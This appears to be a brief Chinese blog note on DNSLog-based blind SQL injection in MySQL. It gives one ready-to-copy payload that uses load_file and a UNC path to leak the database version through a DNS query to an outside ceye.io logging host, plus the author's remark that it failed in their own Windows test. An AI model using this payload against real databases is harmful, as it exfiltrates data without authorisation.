SQL注入——DNSLog盲注


 



 

 


 为了复制方便:select load_file(concat('\\\\',(select version()),'.mysql.4zmpxr.ceye.io\\abc'))

//我自己在Windows下的MySQL里面试了半天,并没有成功,抓包发现,mysql连数据包都没有发送……不过这个网站里面的payload倒是有点用

这个函数只能在windows下使用

 

posted on 2019-08-01 22:59  thisismynickname  阅读(318)  评论(0编辑  收藏  举报

导航